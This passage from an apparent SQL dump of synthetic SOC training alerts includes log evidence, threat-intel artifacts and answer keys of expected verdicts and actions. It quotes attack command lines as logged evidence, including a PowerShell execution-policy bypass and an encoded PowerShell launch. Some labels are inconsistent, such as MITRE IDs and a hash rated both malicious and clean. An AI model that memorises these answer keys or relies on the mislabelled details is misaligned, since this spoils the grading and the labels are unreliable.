3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_type\\\":\\\"transaction_alert\\\",\\\"platform\\\":\\\"DeFiPlatformX\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"source_ip\\\":\\\"10.23.45.67\\\",\\\"destination_ip\\\":\\\"185.123.45.67\\\",\\\"amount_usd\\\":\\\"610000000\\\",\\\"user_account\\\":\\\"attacker_account_123\\\",\\\"malware_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"file_name\\\":\\\"exfiltration_script.py\\\",\\\"status\\\":\\\"completed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.704Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_type\\\":\\\"transaction_alert\\\",\\\"platform\\\":\\\"DeFiPlatformX\\\",\\\"transaction_id\\\":\\\"tx1234567890\\\",\\\"source_ip\\\":\\\"10.23.45.67\\\",\\\"destination_ip\\\":\\\"185.123.45.67\\\",\\\"amount_usd\\\":\\\"610000000\\\",\\\"user_account\\\":\\\"attacker_account_123\\\",\\\"malware_hash\\\":\\\"3b5d5c3712955042212316173ccf37be\\\",\\\"file_name\\\":\\\"exfiltration_script.py\\\",\\\"status\\\":\\\"completed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1008, 'Unexpected Return of Funds and Dialogue Initiated', 'medium', 'Communication Channels', 'In an unexpected turn, the attacker returned the stolen funds and initiated a dialogue with the victim. The conversation raised questions about the motives and ethical considerations behind the attack.', 'Unusual Behavior', 'T1589 - Engage in Dialogue', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:45:00Z\",\"event_id\":\"evt123456\",\"source_ip\":\"173.194.55.0\",\"destination_ip\":\"10.0.0.5\",\"username\":\"john.doe\",\"email\":\"attacker@example.com\",\"subject\":\"Returning Your Funds\",\"message_body\":\"We have decided to return the funds. Let\'s talk about potential collaboration.\",\"file_name\":\"refund_transaction.txt\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"transaction_id\":\"txn098765\",\"amount_returned\":5000,\"currency\":\"USD\"}', '2026-01-17 03:47:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"173.194.55.0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email associated with previous phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No associated malware found.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.705Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:00Z\\\",\\\"event_id\\\":\\\"evt123456\\\",\\\"source_ip\\\":\\\"173.194.55.0\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"john.doe\\\",\\\"email\\\":\\\"attacker@example.com\\\",\\\"subject\\\":\\\"Returning Your Funds\\\",\\\"message_body\\\":\\\"We have decided to return the funds. Let\'s talk about potential collaboration.\\\",\\\"file_name\\\":\\\"refund_transaction.txt\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transaction_id\\\":\\\"txn098765\\\",\\\"amount_returned\\\":5000,\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.705Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:00Z\\\",\\\"event_id\\\":\\\"evt123456\\\",\\\"source_ip\\\":\\\"173.194.55.0\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"john.doe\\\",\\\"email\\\":\\\"attacker@example.com\\\",\\\"subject\\\":\\\"Returning Your Funds\\\",\\\"message_body\\\":\\\"We have decided to return the funds. Let\'s talk about potential collaboration.\\\",\\\"file_name\\\":\\\"refund_transaction.txt\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transaction_id\\\":\\\"txn098765\\\",\\\"amount_returned\\\":5000,\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.705Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:00Z\\\",\\\"event_id\\\":\\\"evt123456\\\",\\\"source_ip\\\":\\\"173.194.55.0\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"john.doe\\\",\\\"email\\\":\\\"attacker@example.com\\\",\\\"subject\\\":\\\"Returning Your Funds\\\",\\\"message_body\\\":\\\"We have decided to return the funds. Let\'s talk about potential collaboration.\\\",\\\"file_name\\\":\\\"refund_transaction.txt\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transaction_id\\\":\\\"txn098765\\\",\\\"amount_returned\\\":5000,\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.705Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:00Z\\\",\\\"event_id\\\":\\\"evt123456\\\",\\\"source_ip\\\":\\\"173.194.55.0\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"john.doe\\\",\\\"email\\\":\\\"attacker@example.com\\\",\\\"subject\\\":\\\"Returning Your Funds\\\",\\\"message_body\\\":\\\"We have decided to return the funds. Let\'s talk about potential collaboration.\\\",\\\"file_name\\\":\\\"refund_transaction.txt\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transaction_id\\\":\\\"txn098765\\\",\\\"amount_returned\\\":5000,\\\"currency\\\":\\\"USD\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.705Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:45:00Z\\\",\\\"event_id\\\":\\\"evt123456\\\",\\\"source_ip\\\":\\\"173.194.55.0\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"john.doe\\\",\\\"email\\\":\\\"attacker@example.com\\\",\\\"subject\\\":\\\"Returning Your Funds\\\",\\\"message_body\\\":\\\"We have decided to return the funds. Let\'s talk about potential collaboration.\\\",\\\"file_name\\\":\\\"refund_transaction.txt\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"transaction_id\\\":\\\"txn098765\\\",\\\"amount_returned\\\":5000,\\\"currency\\\":\\\"USD\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1009, 'Unprotected Router Exploitation Detected', 'high', 'Network Traffic Analysis', 'An attacker exploited a known vulnerability in T-Mobile\'s infrastructure, gaining initial access through an unprotected router.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_type\":\"network_connection_attempt\",\"source_ip\":\"203.0.113.25\",\"destination_ip\":\"10.0.0.5\",\"destination_port\":8080,\"protocol\":\"HTTP\",\"http_method\":\"GET\",\"url\":\"http://10.0.0.5/cgi-bin/login\",\"user_agent\":\"Mozilla/5.0 (compatible; RouterExploit/1.0)\",\"filename\":\"exploit_script.sh\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"admin\",\"http_headers\":{\"Host\":\"10.0.0.5\",\"Connection\":\"keep-alive\"}}', '2026-01-17 03:48:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple attacks on network infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"T-Mobile\'s internal router.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known exploit script hash.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"exploit_script.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used for exploiting router vulnerabilities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1010, 'Malicious Script Execution Identified', 'high', 'Endpoint Detection and Response (EDR)', 'A malicious script was executed on the host machine to establish persistence and escalate privileges. The script was initiated by the user \'jbinns\' from an external IP address known for malicious activities.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:05Z\",\"event_type\":\"Execution\",\"host_ip\":\"192.168.1.101\",\"user\":\"jbinns\",\"process_name\":\"cmd.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Windows\\\\Temp\\\\exploit.ps1\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.101\",\"filename\":\"exploit.ps1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"event_id\":\"4624\",\"logon_type\":3}', '2026-01-17 03:48:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with recent APT campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious PowerShell script\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"exploit.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used for privilege escalation\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jbinns\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account associated with unusual activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1011, 'Persistence Mechanism Established', 'high', 'System Logs', 'A hidden backdoor was established on host 192.168.1.45 allowing ongoing unauthorized access. The backdoor was introduced by executing a malicious executable \'svchostx.exe\' linked to the attacker IP 203.0.113.45.', 'Persistence', 'T1055.001 - Process Injection', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:30Z\",\"event_type\":\"process_creation\",\"host_ip\":\"192.168.1.45\",\"process_name\":\"svchostx.exe\",\"process_id\":4321,\"parent_process\":\"explorer.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"user\":\"Binns\",\"attacker_ip\":\"203.0.113.45\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\svchostx.exe\",\"network_activity\":[{\"destination_ip\":\"203.0.113.45\",\"port\":443}]}', '2026-01-17 03:48:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_feeds\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"svchostx.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious file mimicking legitimate Windows process.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"Hash matched known malware sample.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:30Z\\\",\\\"event_type\\\":\\\"process_creation\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"process_name\\\":\\\"svchostx.exe\\\",\\\"process_id\\\":4321,\\\"parent_process\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"Binns\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchostx.exe\\\",\\\"network_activity\\\":[{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"port\\\":443}]}\"},{\"timestamp\":\"2026-02-01T20:31:22.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:30Z\\\",\\\"event_type\\\":\\\"process_creation\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"process_name\\\":\\\"svchostx.exe\\\",\\\"process_id\\\":4321,\\\"parent_process\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"Binns\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchostx.exe\\\",\\\"network_activity\\\":[{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"port\\\":443}]}\"},{\"timestamp\":\"2026-02-01T20:30:22.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:30Z\\\",\\\"event_type\\\":\\\"process_creation\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"process_name\\\":\\\"svchostx.exe\\\",\\\"process_id\\\":4321,\\\"parent_process\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"Binns\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchostx.exe\\\",\\\"network_activity\\\":[{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"port\\\":443}]}\"},{\"timestamp\":\"2026-02-01T20:29:22.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:30Z\\\",\\\"event_type\\\":\\\"process_creation\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"process_name\\\":\\\"svchostx.exe\\\",\\\"process_id\\\":4321,\\\"parent_process\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"Binns\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchostx.exe\\\",\\\"network_activity\\\":[{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"port\\\":443}]}\"},{\"timestamp\":\"2026-02-01T20:28:22.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:30Z\\\",\\\"event_type\\\":\\\"process_creation\\\",\\\"host_ip\\\":\\\"192.168.1.45\\\",\\\"process_name\\\":\\\"svchostx.exe\\\",\\\"process_id\\\":4321,\\\"parent_process\\\":\\\"explorer.exe\\\",\\\"file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\",\\\"user\\\":\\\"Binns\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchostx.exe\\\",\\\"network_activity\\\":[{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"port\\\":443}]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1012, 'Lateral Movement Detected Across Network', 'high', 'Network Monitoring Tools', 'Anomalous lateral movement detected on the network. User \'jbinns\' accessed multiple hosts in search of sensitive databases. Network monitoring tools identified suspicious access patterns originating from an internal IP linked to potential data exfiltration activities.', 'Lateral Movement', 'T1071 - Application Layer Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T15:23:45Z\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.22\",\"user\":\"jbinns\",\"action\":\"network_access\",\"protocol\":\"SMB\",\"file_accessed\":\"\\\\\\\\192.168.1.22\\\\sensitive_data\\\\customer_info.db\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"external_ip\":\"203.0.113.45\",\"alert_id\":\"ALRT-2098\",\"description\":\"User \'jbinns\' accessed a host using SMB protocol and attempted to access a database containing customer information.\"}', '2026-01-17 03:48:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP used by user \'jbinns\' for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP linked to previous APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used in lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jbinns\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1013, 'Massive Data Exfiltration Alert', 'critical', 'Data Loss Prevention (DLP) System', 'In the final phase of a coordinated exfiltration operation, 54 million customer records were extracted and sent to an external IP. The data is expected to be sold on underground forums. Immediate action is required to prevent further data loss.', 'Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T08:45:00Z\",\"event\":\"Data Exfiltration\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"filename\":\"customer_data_2023.zip\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"john.doe\",\"action\":\"transferred\",\"bytes_transferred\":54000000,\"alert_id\":\"DLP-EXFIL-001\",\"status\":\"Confirmed\"}', '2026-01-17 03:48:32', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with recent exfiltration operations.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"clean\",\"details\":\"Employee in good standing.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"event\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"customer_data_2023.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"action\\\":\\\"transferred\\\",\\\"bytes_transferred\\\":54000000,\\\"alert_id\\\":\\\"DLP-EXFIL-001\\\",\\\"status\\\":\\\"Confirmed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"event\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"customer_data_2023.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"action\\\":\\\"transferred\\\",\\\"bytes_transferred\\\":54000000,\\\"alert_id\\\":\\\"DLP-EXFIL-001\\\",\\\"status\\\":\\\"Confirmed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"event\\\":\\\"Data Exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"filename\\\":\\\"customer_data_2023.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"action\\\":\\\"transferred\\\",\\\"bytes_transferred\\\":54000000,\\\"alert_id\\\":\\\"DLP-EXFIL-001\\\",\\\"status\\\":\\\"Confirmed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.712Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:00Z\\\",\\\"event\\\":\\\"Data 